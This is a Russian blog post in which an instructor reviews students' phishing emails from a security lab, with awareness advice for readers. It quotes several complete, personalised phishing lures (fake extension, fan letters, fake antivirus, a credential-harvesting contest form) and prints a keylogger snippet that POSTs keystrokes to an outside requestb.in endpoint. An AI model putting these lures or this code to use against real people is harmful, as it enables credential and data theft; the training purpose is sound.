Сапожник без сапог. Как студенты писали фишинговые письма04.02.2019 13:05

Нужно отправить три письма трём выдуманным персонажам.
Условия
1. Письма нужно действительно отправить на указанные почтовые ящики. Через napechata.li/form нужно выслать список адресов, с которых ушли письма.
2. Считается, что персонажи открывают письма на рабочих компьютерах в рабочее время.
3. При написании нужно использовать индивидуальные особенности персонажей, указанные в задании. По умолчанию считается, что письмо, написанное кому угодно и без деталей, не идет в зачет.
4. Цель атаки — доступ во внутреннюю сеть или к данным (почта, календари, архивы, финансовая информация) организации, в которой работает каждый из персонажей. Меньший приоритет в получении личных данных персонажей.
5. От кого, под каким предлогом и как будет совершаться атака, остаётся на ваше усмотрение. Использование доп. средств (скрипты, документы с макросами, софт) идет в зачет при наличии подходящей легенды.
6. Письма, попавшие в спам, не идут в зачёт.
7. Письмо, ссылка в котором никуда не ведёт, не идёт в зачёт.

В отчете должны быть:
1. Тексты или скриншоты писем
2. Описание того, почему каждому из пользователей было отправлено письмо
3. Какую информацию планировалось получить после отправки писем
4. Какую информацию удалось получить после отправки писем
5. Список адресов, с которых отправлена почта

Новый инновационный майнер

Прогрессируйте без забот.
Вы всегда хотели прикоснуться к миру крипто валют, но не знали с чего начать? Используйте наш майнер во время того, когда не пользуйтесь компьютером. Даже время будет работать на вас.
Вперед.
Все для начинания в одном наитии http://clc.am/ \

В этом письме прекрасно всё — не хватает только нормальной кнопки с призывом к действию. Вместо неё маленькая ссылка внизу, которая еще и не кликается. В общем, полный провал потенциальных криптогениев крипторынка.

Обещанные плюшки — не прилагайте усилий, всё работает само, без вложений. Ну да, конечно.

Инвестиционная трейд-платформа нового поколения

Нужны ли здесь какие-то комментарии?

Фотобанкир из фотобанка

Как добавить письму солидности? Конечно, использовать фотографии из фотобанков. Удивительно, что ниже в этом же письме нет улыбающихся людей в деловых костюмах.

Рекламная платформа

ЖЖ не стоит на месте и развивается. Валерии предложили выбрать рекламные категории — почему бы не воспользоваться таким прекрасным предложением?

«Злоумышленник» постарался — ссылка в письме ведет на сайт на бесплатном хостинге, где в стилях ЖЖ нарисовали форму для ввода персональных данных и карточной информации.

Очень легко ничего не заподозрить —, но достаточно проверить адресную строку. К тому же когда я в первый раз открыл эту ссылку и ввёл выдуманную карту, увидел вот такой поп-ап:

Предупреждают не зря — сайт действительно опасен.

Такие «сайты» на бесплатных хостингах долго не живут и к тому же заполнены водяными знаками. А на платном хостинге (и с доменом второго уровня) можно отправить жалобу на фишинг и мошенничество. Как показывает практика, такие сайты активно блокируются — например, наша СБ регулярно рассылает заявки регистраторам, когда обнаруживает какую-нибудь новую мошенническую схему.

Десктопное приложение Живого Журнала

Ребята не поленились и написали даже десктопное приложение — ну какие же молодцы. Даже просмотр публикаций без интернета прикрутили.

Ссылка ведет на ехе-файл: http://ххх.193.52.92/livejournal_desktop_1.0.3b.exe. Загружать его я, конечно, не буду.

Перед установкой любых приложений из сомнительных источников (а почта — очень сомнительный источник) сходите на официальный сайт и проверьте, есть ли оно там вообще. И если есть, установите оттуда.

Браузерное расширение

Я люблю своих студентов и практически не ограничиваю их фантазию. Это приводит к тому, что приходят и такие письма. Привожу целиком — настолько это прекрасно.

> Здравствуйте, Валерия Валерьевна.
Вам пишет команда молодых разработчиков сервиса "Your Favourite Song".
Мы создаем культурную среду, в которой каждый может себе найти занятие по-вкусу!
В данный момент мы разрабатываем приложение для браузера, которое является агрегатором всех культурных событий, что проходят в нашем замечательном городе!
Начать мы решили с создания подборок всех бесплатных и платных концертов нашего города. Зная о Вашем увлечении музыкой из блога в ЖЖ, мы решили предоставить Вам
замечательную возможность опробовать наше расширение одной из первых, и возможно, послужить благому делу и оставить у себя в ЖЖ отзыв, как только расширение перейдет из
стадии закрытого бета-тестирования в открытый бета-тест.
Для того чтобы установить данное расширение - перейдите по ссылке и скачайте с нашего приватного хранилища расширение, затем установите его. Инструкцию по установке мы
напишем ниже.

> 1. Перейдите по ссылке https://goo-gl.ru/OK  и скачайте zip-архив.
2. Распакуйте zip-архив в любую удобную папку.
3. Зайдите в ваш браузер во вкладку расширения.
4. Нажмите на кнопку "добавить стороннее распакованное расширение".
5. Перейдите в папку, куда Вы распаковали наше расширение и укажите путь к папке keylogExten.
6. В течение недели мы добавим вас в нашу базу данных и удаленно активируем функционал нашего расширения.
7. Наслаждайтесь удобным сервисом!

> С уважением,
команда "Your Favourite Song".

Здесь подход радикальнее всего, что присылали в этом году. По ссылке — сокращалка, которая редиректит на облачную хранилку. Там лежит браузерный кейлоггер, запакованный в два архива. В нём — простой event listener, который работает на jquery, слушает события keydown, собирает коды в пакеты и отправляет их на некий сервер.

function sendSymOnServer(page, data) {
       var xhr = new XMLHttpRequest();

       var body = 'page = ' + encodeURIComponent(page) +
           '&data = ' + encodeURIComponent(data);

       xhr.open("POST", 'https://requestb.in/1fa7izj1', true);
       xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       xhr.send(body);
   }

Естественно, никогда не устанавливайте лишних расширений — особенно тех, в описании которых есть слово keylog.

Пиши, сокращай

Как и в прошлом году, не обошлось без гениального копирайтинга. Пока я писал эту статью, выяснилось, что копирайтером был кто-то еще, а студент взял текст из интернета.

К этому моменту все контекстные рекламные баннеры показывают мне всякое про осознанные сновидения. И вам, кажется, тоже. Не благодарите.

Письма от поклонников

Как по мне, самая опасная разновидность фишинга. Злоумышленник разведал обстановку и бьет по больным местам — всем бывает сложно справиться с похвалой, лестью, признанием и не начать отвечать мошеннику.

Вот пример:

Добрый вечер, Валерия.
Прошу прощения за беспокойство, Меня зовут Дмитрий, и в первую очередь хочется поблагодарить Вас за Ваши тёплые посты в журнале.
Наверное, я бы так и оставался молчаливым читателем, вдохновляющимся Вашим примером, но Ваш вчерашний сон всё не выходит у меня из головы.
Он напомнил мне работы талантливого художника-визионера по имени Фрейдун Рассули, и в большей степени — его картину «Путешествие домой».
Как и в Вам, этому художнику близка тема космического единства: он был уверен в том, что любое творение является продуктом синхронизации наших энергий со Вселенной.
Мне подумалось, что Вам будет интересно подробнее ознакомиться с его творчеством, поэтому я подобрал самые утончённые и глубокие из его работ.
К сожалению, не могу прикрепить их все разом, но могу предложить Вам архив с моей собственной подборкой.
https://cloud.mail.ru/public/Bg6E/WKr64w
Уверен, Вы сможете найти среди этих удивительных картин немало сходства с Вашими снами. И, мне кажется, они будут замечательно смотреться в Вашем блоге.
С наилучшими пожеланиями,
Ваш постоянный читатель.

По ссылке лежит файл Рисунки.exe, в котором, конечно, нет никаких рисунков, но есть кейлоггер.

И ещё один поклонник:

> Здравствуйте, Валерия Валерьевна.
> Меня зовут Дмитрий, можно просто Дима.
> Я немного следил за вами на ЖЖ. У вас весьма удивительные сны. Вы же ведь знаете, что каждый сон может что-то значить? Я немного в этом разбираюсь и даже иногда веду записи
о толковании снов в своем ЖЖ. Мне бы очень хотелось поделиться ими с вами. А также побольше пообщаться с вами. К вам можно обращаться на "ты"?
С нетерпением жду ваших высказываний по поводу моих мыслей.

> С уважением,
> Ушков Дмитрий.

Под ссылкой очередная форма авторизации в ЖЖ на бесплатном хостинге (до точки — livejjournal). Там есть https, так что браузеры не ругнутся, но внимательно смотреть всё-таки нужно.

Конкурс неизвестных рэп-исполнителей

Обращаюсь в первую очередь к неизвестным рэп-исполнителям, которые пришли на эту страницу поучаствовать в конкурсе.

Йоу, ребята, никогда не реагируйте на такие письма, в этом нет никакого смысла.

> Здравствуйте Хусанбой!
> Вас беспокоит тех.поддержка сайта молодых исполнителей хип-хоп музыки. За Вашей учетной записью была замечена подозрительная активность, поэтому Ваш аккаунт был заблокирован. Для восстановления доступа к аккаунту и участия в последующем конкурсе неизвестных исполнителей с призом в 6 млн.рублей Вам следует подтвердить свою учетную запись и предоставить данные для участия в конкурсе в форме ниже. Все введенные Вами данные будут тщательно проверяться для осуществления безопасности конкурса и его справедливого проведения. Также должны Вас предупредить о том, что до окончания конкурса изменение и восстановление логина/пароля и личной информации в учетной записи невозможно, поэтому для логина/пароля вводите то, что Вы точно не забудете или вводите ежедневно, а информацию о себе только верную.

Если вы смогли дочитать этот текст, ни разу не перескакивая глазами, расскажите, что там. Ссылка после письма ведёт на гугл-форму из 30 полей (троянский слон!), самые примечательные из которых:

• Логин-пароль.
• Программы, которые использовали при создании (записи) трека *.
• Эл.почта/ссылки в соц.сетях сотрудников, которым возможно было бы интересно направление хип-хоп *.
• Ф.И. О. сотрудников, которым возможно было бы интересно направление хип-хоп *.

Никогда не вводите на незнакомых сайтах ФИО сотрудников, которым, возможно, было бы интересно направление хип-хоп.

Антивирус Сотвондиева

Добрый день!
В связи с ужесточением политики обработки персональных данных в нашем таксопарке всем сотрудникам необходимо использование сертифицированное средство безопасности.
В качестве такого средства в нашей компании был выбран Kaspersky Endpioint Security, имеющий сертификаты соответствия ФСБ СФ/019–3471 и ФСТЭК №3025.
Скачать установочные файлы данного средства можно по следующей ссылке:
http://aes.s.kaspersky-labs.com/endpoints/keswin11/11.0.1.90/russian-2778/bb0e36ac/keswin_11.0.1.90_ru_aes256.exe
Просьба сотрудников самостоятельно скачать и установить Kaspersky Endpoint Security. В конце месяца в ходе плановой проверки будет произведена активация средства специалистами нашего отдела.
Отдел технической безопасности таксопарка «Тимошинский».

Как хорошо, что мошенники стесняются использовать спеллчекеры. Это помогает выявлять ересь в инбоксе и стирать её, не дочитывая. Естественно, ссылка ведет не туда — хотя и тоже на экзешник.

Неизвестные рэп-исполнители и где они обитают

Скорее жмем ссылку, смотрим, а там…

Эта бригада студентов решила обозначить то, как поймать человека на фишинге. Это не лишено смысла — здесь важно понимание механики процесса, поэтому лабу я им, хоть и не без колебаний, засчитал.

Повторю ещё раз — не вводите никакие данные о банковских картах на непроверенных сайтах.

Съемки в рэперском клипе

Захожу, полный решимости сняться в клипе, а там:

> Error: This account has been suspended.

Details about the account owner:
Name: Phishing Detected
Username:
Email: rap.ruXXXX@gmail.com

Как видите, сервисы борются с фишингом еще до того, как я о нём рассказал на Хабре. Поэтому о том, что было на сайте, я узнал только из отчёта. Как-нибудь в другой раз расскажу о том, как я принимаю отчёты, — это отдельная большая история.

Истеричный тест-драйв

Kia Центр Санкт-Петербург cообщает, что вам выпал уникальный шанс взять в аренду совершенно новый автомобиль Kia Quoris. Это абсолютно новая модель бизнес-класса, с соверешенно новым двигателем и переработанной системой подвевски и трансмисси. И что самое главное, вы получаете беспрецедентную возможность получить данный автомобиль на целый МЕСЯЦ!!! В личное пользование!!! Проедьте на нем в городе, опробуйте дальние поездки, оценить качество и надежность нашего нового автомобиля!

Ещё в письме была красивая картинка с этим автомобилем и ссылка на онлайн-форму для получения разной информации.

Студент использовал и информацию о том, что персонаж ездит на машине друга, и подогрел интерес потенциальной жертвы тем, что осталось всего 3 машины. В общем, самое время бежать-торопиться и записываться на бесплатный тест-драйв.

А лучше вспомнить, что ничего бесплатного в интернете не бывает, и не вестись на сомнительные письма.